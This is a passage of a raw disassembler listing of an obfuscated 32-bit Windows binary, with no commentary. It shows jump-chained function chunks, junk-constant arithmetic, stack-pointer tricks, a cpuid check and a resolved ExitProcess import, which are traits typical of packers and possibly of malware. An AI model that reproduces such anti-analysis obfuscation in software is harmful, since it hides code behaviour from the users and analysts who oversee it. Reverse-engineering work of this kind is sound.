		xchg	edx, [esp-10h+arg_C]
		mov	ebp, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_4236A9:				; CODE XREF: sub_42874A-3D64j
		jmp	loc_42C3B3
; END OF FUNCTION CHUNK	FOR sub_42874A
; ---------------------------------------------------------------------------


loc_4236AE:				; CODE XREF: _7hdaygc1:00423982j
		jmp	loc_4280FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_4236B4:				; CODE XREF: sub_428B5B+15j
		jmp	loc_4256E0
; END OF FUNCTION CHUNK	FOR sub_428B5B
; ---------------------------------------------------------------------------


loc_4236B9:				; CODE XREF: _7hdaygc1:0042572Dj
		sbb	ecx, 31F28CBCh
		mov	edx, ebx
		js	loc_42EF3F
		shl	eax, 9
		jmp	loc_42DF98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425182


loc_4236CF:				; CODE XREF: sub_425182+387Cj
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx


loc_4236D4:				; CODE XREF: _7hdaygc1:00424996j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425182
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_4236D6:				; CODE XREF: sub_42524F+51F9j
		jmp	loc_4273B8
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425182


loc_4236DB:				; CODE XREF: sub_425182+15C7j
					; sub_429532-2CC2j ...
		mov	al, 1
		jmp	loc_4289FB
; END OF FUNCTION CHUNK	FOR sub_425182
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429532


loc_4236E2:				; CODE XREF: sub_429532-2CCEj
					; sub_429532+1Aj
		inc	dword ptr [ebp-4]
		jmp	loc_42BDD9
; END OF FUNCTION CHUNK	FOR sub_429532

; =============== S U B	R O U T	I N E =======================================



sub_4236EA	proc near		; CODE XREF: sub_42ECAF+Fp

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042C8C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CA5A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042F049 SIZE 00000005 BYTES

		call	sub_4297B2
		jmp	loc_42C8C1
sub_4236EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4236F4:				; CODE XREF: sub_42AFFE-2F2Dj
		jbe	loc_425125
		mov	ebp, 18BD1576h
		jmp	loc_4239E6
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_423704:				; CODE XREF: sub_429318:loc_42F947j
		add	eax, ebp
		add	eax, 0A2FA9EBAh
		push	edi
		pushf
		jmp	loc_42BD45
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_423713:				; DATA XREF: sub_425735+271Co
		or	ecx, ecx
		jz	loc_4243FB
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_4243FB
		call	sub_42E3A4
		jnz	loc_4243FB
		mov	eax, ebx
		jmp	loc_428F4D
; ---------------------------------------------------------------------------


loc_423739:				; CODE XREF: _7hdaygc1:0042B0A7j
		xchg	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42373B:				; CODE XREF: sub_42911B:loc_42B096j
		or	ebx, ds:4000F2h
		and	ebx, 0E1A2E734h
		add	ebx, 0DFC2A681h
		jmp	loc_42E7BC
; END OF FUNCTION CHUNK	FOR sub_42911B

; =============== S U B	R O U T	I N E =======================================



sub_423752	proc near		; CODE XREF: _7hdaygc1:00426296j
					; sub_42A833:loc_427E5Bp

; FUNCTION CHUNK AT 00423839 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004238DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424B35 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042812C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429440 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429664 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BA77 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E122 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042E216 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F1B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F20B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042F930 SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	551C7135h
		pop	edx
		or	edx, 8136009Fh
		jmp	loc_424B35
sub_423752	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	edi, 22EC8634h
		jmp	loc_423DF6
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42377A:				; CODE XREF: sub_42DD73+11j
		jz	loc_42955E
		jmp	loc_42D3BA
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B034


loc_423785:				; CODE XREF: sub_42B034:loc_424DAEj
		add	ecx, ebp
		add	ecx, 0BE31CD06h
		push	offset sub_42BF20
		jmp	loc_42F9F1
; END OF FUNCTION CHUNK	FOR sub_42B034
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B6B5


loc_423797:				; CODE XREF: sub_42B6B5:loc_4238BBj
		pop	edi
		xor	edi, 3EFF4Fh
		or	edi, 8293FC9h
		rol	edi, 0Ah
		xor	edi, 6D2220Ch
		jmp	loc_4247F9
; END OF FUNCTION CHUNK	FOR sub_42B6B5
; ---------------------------------------------------------------------------
		cmp	ebp, 0B5FA5715h
		jmp	loc_425F1B
; ---------------------------------------------------------------------------


loc_4237BD:				; DATA XREF: sub_4253A0:loc_4237F0o
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEC6


loc_4237C4:				; CODE XREF: sub_42BEC6-7DA1j
		jmp	loc_42D3AD
; END OF FUNCTION CHUNK	FOR sub_42BEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_4237C9:				; CODE XREF: sub_4253A0+E41j
					; sub_42E347+Cj
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-1Ch]
		jnz	loc_42E527
		jmp	loc_426BEC
; END OF FUNCTION CHUNK	FOR sub_4253A0

; =============== S U B	R O U T	I N E =======================================



sub_4237DA	proc near		; CODE XREF: sub_4273CA-20E2p
					; sub_424963+BEBp ...

; FUNCTION CHUNK AT 0042316D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004284D0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428B50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A858 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B7A0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042D74C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D7FE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042D91C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DB94 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042EEBE SIZE 0000000A BYTES

		push	ebp
		jmp	loc_42316D
sub_4237DA	endp

; ---------------------------------------------------------------------------


loc_4237E0:				; CODE XREF: _7hdaygc1:0042E9ECj
		jnb	loc_428F8E
		mov	esi, ebp
		jmp	sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429968


loc_4237ED:				; CODE XREF: sub_429968:loc_4246CCj
		mov	[ebp-0Ch], eax
; END OF FUNCTION CHUNK	FOR sub_429968
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_4237F0:				; CODE XREF: sub_4253A0:loc_4253A8j
					; sub_4253A0:loc_426BECj ...
		push	offset loc_4237BD
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
		push	offset loc_42A3A7
		jmp	locret_4247F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42821A


loc_423804:				; CODE XREF: sub_42821A+11j
		jnz	loc_4254ED
		jmp	loc_42E1AD
; END OF FUNCTION CHUNK	FOR sub_42821A
; ---------------------------------------------------------------------------


loc_42380F:				; CODE XREF: _7hdaygc1:0042333Ej
		shr	eax, 4

; =============== S U B	R O U T	I N E =======================================



sub_423812	proc near		; CODE XREF: _7hdaygc1:0042C91Ap

; FUNCTION CHUNK AT 004235F8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00425102 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429FB3 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	27A2424Bh
		pop	esi
		add	esi, 0D15E0475h
		xor	esi, 0DCBCB459h
		jmp	loc_425102
sub_423812	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B510


loc_42382D:				; CODE XREF: sub_42B510:loc_42E7B7j
		push	esi
		push	offset sub_4296C2
		jmp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_42B510
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_423839:				; CODE XREF: sub_423752+C1EAj
		jmp	loc_42F20B
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------


loc_42383E:				; CODE XREF: _7hdaygc1:0042B662j
		jmp	loc_423223
; ---------------------------------------------------------------------------


loc_423843:				; CODE XREF: _7hdaygc1:0042C076j
		jz	loc_42AC19
		cdq
		push	ecx
		jmp	loc_42B78A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_423850:				; CODE XREF: sub_4270E6+8BE2j
		mov	eax, offset dword_428388
		mov	[ebp-4], eax
		push	esi
		push	offset loc_42E75B
		jmp	locret_42EBAD
; END OF FUNCTION CHUNK	FOR sub_4270E6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428613


loc_423864:				; CODE XREF: sub_428613+4BE1j
		add	edx, 3E93714Bh
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_42FBBB
; END OF FUNCTION CHUNK	FOR sub_428613
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_423873:				; CODE XREF: sub_42C50D:loc_42C520j
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, esp
		push	ebx
		push	ecx
		jmp	loc_42E771
; END OF FUNCTION CHUNK	FOR sub_42C50D
; ---------------------------------------------------------------------------


loc_423880:				; CODE XREF: _7hdaygc1:0042ED6Bj
		sub	eax, 694BB37Bh
		add	eax, 45B5A5E7h
		add	eax, ebp
		add	eax, 1AF2ED4Fh
		push	offset loc_42DEE4
		jmp	locret_423CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F9D2


loc_42389E:				; CODE XREF: sub_42F9D2:loc_42F9E0j
		or	ecx, ecx
		jz	loc_427E44
		call	sub_42E3A4
		jnz	loc_42BB26
		call	sub_42D073
; END OF FUNCTION CHUNK	FOR sub_42F9D2
; START	OF FUNCTION CHUNK FOR sub_42D073


loc_4238B6:				; CODE XREF: sub_42D073+18j
		jmp	loc_427E44
; END OF FUNCTION CHUNK	FOR sub_42D073
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B6B5


loc_4238BB:				; CODE XREF: sub_42B6B5+Bj
		jmp	loc_423797
; END OF FUNCTION CHUNK	FOR sub_42B6B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424FE5


loc_4238C0:				; CODE XREF: sub_424FE5+Cj
		jmp	loc_425F30
; END OF FUNCTION CHUNK	FOR sub_424FE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D48F


loc_4238C5:				; CODE XREF: sub_42D48F:loc_42D05Cj
		or	edx, 0C2CFF5AFh
		and	edx, 0C691347Dh
		call	sub_42DBAE
; END OF FUNCTION CHUNK	FOR sub_42D48F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_4238D7:				; CODE XREF: sub_424AE1+9A8Cj
		jmp	loc_428E61
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------

locret_4238DC:				; CODE XREF: _7hdaygc1:loc_4285D6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_4238DD:				; CODE XREF: sub_423752+13F5j
					; _7hdaygc1:0042FB3Fj
		add	edx, 0BC0E6138h
		xchg	edx, [esp+0]
		jmp	loc_429664
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
		mov	esp, ebp
		pop	ebp
		push	eax
		mov	eax, ecx
		jmp	loc_427ED8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_4238F6:				; CODE XREF: sub_42AA47:loc_42A78Cj
		jge	loc_42AF2B
		jmp	loc_42D619
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------


loc_423901:				; CODE XREF: _7hdaygc1:loc_42B79Bj
		jl	loc_42ECCB
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_423907:				; CODE XREF: sub_425F27+7D26j
		jmp	loc_429C2F
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
		sub	esi, ecx
		push	52380A1Dh
		jmp	loc_42ECC8
; ---------------------------------------------------------------------------
		not	eax
		jmp	loc_426148
; ---------------------------------------------------------------------------
		call	sub_42F467
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_423924:				; CODE XREF: sub_4253A0+89B0j
		jmp	loc_42DE39
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A39


loc_423929:				; CODE XREF: sub_426A39+4E07j
		jmp	loc_42AB52
; END OF FUNCTION CHUNK	FOR sub_426A39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB9F


loc_42392E:				; CODE XREF: sub_42AB9F-10EFj
		jmp	loc_4230FD
; END OF FUNCTION CHUNK	FOR sub_42AB9F
; ---------------------------------------------------------------------------


loc_423933:				; CODE XREF: _7hdaygc1:0042870Cj
		pop	eax
		and	eax, 0B1A21758h
		sub	eax, 404854E4h
		add	eax, 7B7893B3h
		add	edx, eax
		pop	eax
		mov	[edx], eax
		jmp	loc_42B9C7
; ---------------------------------------------------------------------------


loc_423950:				; DATA XREF: sub_42D9F8+5o
		mov	ebp, esp


loc_423952:				; CODE XREF: _7hdaygc1:00423A02j
		add	esp, 0FFFFFFF8h
		push	offset loc_42DD2C
		jmp	loc_426971
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_42395F:				; CODE XREF: sub_42B907-36CCj
					; sub_42B907:loc_42880Dj
		push	6672FC79h
		pop	eax
		sub	eax, 0F3F50443h
		add	eax, 0B7FF8C6Ch
		test	eax, 1000000h
		jmp	loc_42DBDB
; END OF FUNCTION CHUNK	FOR sub_42B907
; ---------------------------------------------------------------------------


loc_42397C:				; CODE XREF: _7hdaygc1:0042989Aj
		jz	loc_42656C
		jmp	loc_4236AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_423987:				; CODE XREF: sub_425C2C+Aj
		jnz	loc_42B157
		jmp	loc_426D0B
; END OF FUNCTION CHUNK	FOR sub_425C2C
; ---------------------------------------------------------------------------
		jo	loc_42878F
		jmp	loc_428077
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42399D:				; CODE XREF: sub_429318+11j
		cmp	dword ptr [ebp-30h], 0
		jle	loc_426C06
		jmp	loc_42F053
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_4239AC:				; CODE XREF: _7hdaygc1:0042473Cj
		jnz	loc_428C2C
		shr	eax, 9
		jmp	loc_424FF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_4239BA:				; CODE XREF: sub_42C443-7554j
					; sub_42C443:loc_429BF7j ...
		call	sub_42581B


loc_4239BF:				; CODE XREF: _7hdaygc1:00423229j
		jmp	loc_42B362
; END OF FUNCTION CHUNK	FOR sub_42C443
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F30D


loc_4239C5:				; CODE XREF: sub_42F30D+6j
		jmp	loc_426482
; END OF FUNCTION CHUNK	FOR sub_42F30D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_4239CA:				; CODE XREF: sub_42F528-A11Cj
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_4239CF:				; CODE XREF: sub_425752+19j
		push	edx
		mov	edx, ebx
		xchg	edx, [esp+4+var_4]
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	edx
		push	13E82EFEh
		pop	edx
		jmp	loc_42A04D
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4239E6:				; CODE XREF: sub_42AFFE-78FFj
					; sub_427D11:loc_42ACE8j
		mov	eax, 400h
		push	ecx
		push	38441BDFh
		pop	ecx
		jmp	loc_429994
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4239F7:				; CODE XREF: sub_423172+2B32j
		jge	loc_42BC85


loc_4239FD:				; CODE XREF: _7hdaygc1:004252A4j
		jmp	loc_4270B8
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
		jz	loc_423952
		jmp	loc_42BC82
; ---------------------------------------------------------------------------


loc_423A0D:				; CODE XREF: _7hdaygc1:0042B592j
		mov	ebx, [ebx]
		cmp	eax, ebx
		pop	ebx
		jz	loc_4270F0
		jmp	loc_42B51D
; ---------------------------------------------------------------------------


loc_423A1D:				; DATA XREF: _7hdaygc1:0042682Eo
		cmp	ds:dword_42BC58, 0
		jnz	loc_42D2C2
		jmp	loc_42352D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8DB


loc_423A2F:				; CODE XREF: sub_42F8DB:loc_42DAD4j
		call	sub_42ED4E
; END OF FUNCTION CHUNK	FOR sub_42F8DB

; =============== S U B	R O U T	I N E =======================================



sub_423A34	proc near		; CODE XREF: _7hdaygc1:00429238j
					; _7hdaygc1:00429C09p
		xchg	ebx, [esp+0]
		pop	ebx
		xor	[esi], ebx
		add	[esi], ecx
		jmp	loc_42A797
sub_423A34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425561


loc_423A41:				; CODE XREF: sub_425561+Dj
		or	esi, 0C599BD5Eh
		sub	esi, 7CBD6C72h
		add	esi, 0AF6620BAh
		xchg	esi, [esp+0]
		jmp	sub_42B3AD
; END OF FUNCTION CHUNK	FOR sub_425561
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_423A5C:				; CODE XREF: sub_424AE1+70DBj
		push	eax
		call	sub_426CBB
		push	4
		lea	eax, [ebp-28h]
		push	eax
		jmp	loc_42933F
; END OF FUNCTION CHUNK	FOR sub_424AE1

; =============== S U B	R O U T	I N E =======================================



sub_423A6D	proc near		; DATA XREF: sub_42B01E+Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042365D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425119 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427076 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		call	sub_42D9E1


loc_423A78:				; CODE XREF: sub_42EF91:loc_424D71j
		jmp	loc_427076
sub_423A6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_423A7D	proc near		; DATA XREF: sub_42E265+3o
		push	ebx
		push	9560FAA5h
		pop	ebx
		sub	ebx, 22B9A95Ch
		rol	ebx, 0Ch
		call	sub_42348E


loc_423A92:				; CODE XREF: sub_428818+11j
		jmp	nullsub_174
sub_423A7D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_423A97:				; CODE XREF: sub_42BAE7:loc_42EA96j
		jz	loc_429386
		jmp	loc_42476C
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_423AA2:				; CODE XREF: sub_4282A9+D1Aj
		adc	edx, ebx
		jmp	loc_424AFB
; END OF FUNCTION CHUNK	FOR sub_4282A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_423AA9:				; CODE XREF: sub_42CFDA:loc_42AC7Aj
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42B644
		call	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_423AC0:				; CODE XREF: sub_4273CA-20DAj
					; sub_42F67A+Fj
		jo	loc_42F49D
		jmp	loc_42C40B
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
		not	eax
		shr	ecx, 6
		jmp	sub_42F67A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424DF3


loc_423AD5:				; CODE XREF: sub_424DF3+3j
		jb	sub_42AA9B
		add	esp, 0FFFFFFF8h
		push	ebx
		mov	ebx, edi
		call	sub_42AA11
; END OF FUNCTION CHUNK	FOR sub_424DF3
; START	OF FUNCTION CHUNK FOR sub_423F3E


loc_423AE6:				; CODE XREF: sub_423F3E+6j
		jmp	loc_4288B0
; END OF FUNCTION CHUNK	FOR sub_423F3E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_423AEC:				; CODE XREF: sub_42F3C8-99Aj
		jmp	nullsub_158
; END OF FUNCTION CHUNK	FOR sub_42F3C8
; ---------------------------------------------------------------------------


loc_423AF1:				; CODE XREF: _7hdaygc1:0042C5CDj
		cpuid
		cmp	eax, 80000000h
		jbe	loc_426F9F
		jmp	loc_42E733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BE6


loc_423B03:				; CODE XREF: sub_424BE6+948Bj
		push	offset loc_4257A9
		jmp	nullsub_82
; END OF FUNCTION CHUNK	FOR sub_424BE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ADFE


loc_423B0D:				; CODE XREF: sub_42ADFE+8j
		mov	ebp, eax
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42ADFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_423B13:				; CODE XREF: sub_4232C2+B3C8j
		jmp	loc_42B7E9
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------
dword_423B18	dd 7E17BE40h						; sub_42EA6A+5r
dword_423B1C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_424B63+1B54r ...

; =============== S U B	R O U T	I N E =======================================



sub_423B20	proc near		; CODE XREF: sub_424385+Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424D19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042872F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00428EF7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042CBD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EC61 SIZE 0000001A BYTES

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		mov	esp, ebp
		pop	ebp
		push	0D74D4F70h
		jmp	loc_428EF7
sub_423B20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: _7hdaygc1:004231FCj
		pushf
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_423B34:				; CODE XREF: sub_42AA07:loc_4231EFj
		add	eax, 0D15DBD21h
		add	eax, ebp
		add	eax, 0CFA03B73h
		jmp	loc_429D0E
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6FB


loc_423B47:				; CODE XREF: sub_42C6FB+12j
		jnz	sub_42FA3D
		jmp	loc_42A740
; END OF FUNCTION CHUNK	FOR sub_42C6FB
; ---------------------------------------------------------------------------
		xchg	edi, [edx]
		sub	edi, ecx
		jmp	sub_42C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_423B5B:				; CODE XREF: sub_42E695-8B36j
		add	edi, eax
		xor	ebp, 3FF76CDCh


loc_423B63:				; CODE XREF: sub_42E695:loc_424B2Aj
		call	sub_42D757
		mov	edx, 24C89878h
		push	edi
		push	0FFE508FDh
		pop	edi
		jmp	loc_42EA34
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B49


loc_423B79:				; CODE XREF: sub_429B49+6118j
		pop	ecx
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_429B49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_423B7E:				; CODE XREF: sub_42A052+84Bj
		jmp	locret_426D46
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_423B83:				; CODE XREF: sub_42AA47-FF8j
		jmp	loc_429730
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_423B88:				; CODE XREF: sub_424CE0+1BB1j
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_423B8D:				; CODE XREF: sub_42D002-6ACFj
		jmp	sub_428C3B
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_423B92:				; CODE XREF: sub_423F02:loc_423139j
					; sub_4288FE-3086j ...
		mov	edx, [esp+0]
		push	offset sub_4291C2
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_423B9F:				; CODE XREF: sub_423DFC:loc_42440Bj
		jnz	loc_424E14


loc_423BA5:				; CODE XREF: sub_42A462+432Ej
		jmp	nullsub_27
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		and	ecx, 0D1C80FD5h
		jmp	loc_424E0D
; ---------------------------------------------------------------------------


loc_423BB5:				; DATA XREF: sub_42F528:loc_42E9C1o
		rol	eax, 3
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		push	ebx
		push	64DF6E8h
		jmp	loc_42D775
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_423BC9:				; CODE XREF: sub_42BAE7:loc_42441Bj
		setz	al
		call	sub_42A3F7
		pop	ecx
		shl	eax, 3
		jmp	loc_42EA82
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_423BDA:				; CODE XREF: sub_423648+4DD5j
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_42D2E2
; ---------------------------------------------------------------------------


loc_423BE3:				; CODE XREF: sub_423648:loc_42362Dj
		test	byte ptr [ebp-7], 8
		jz	loc_4290B7
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42E254
		jmp	loc_423F99
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
		test	eax, 37748E57h
		jmp	loc_426BF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_423C06:				; CODE XREF: sub_423F02+8F76j
		sbb	edx, eax
; END OF FUNCTION CHUNK	FOR sub_423F02

; =============== S U B	R O U T	I N E =======================================



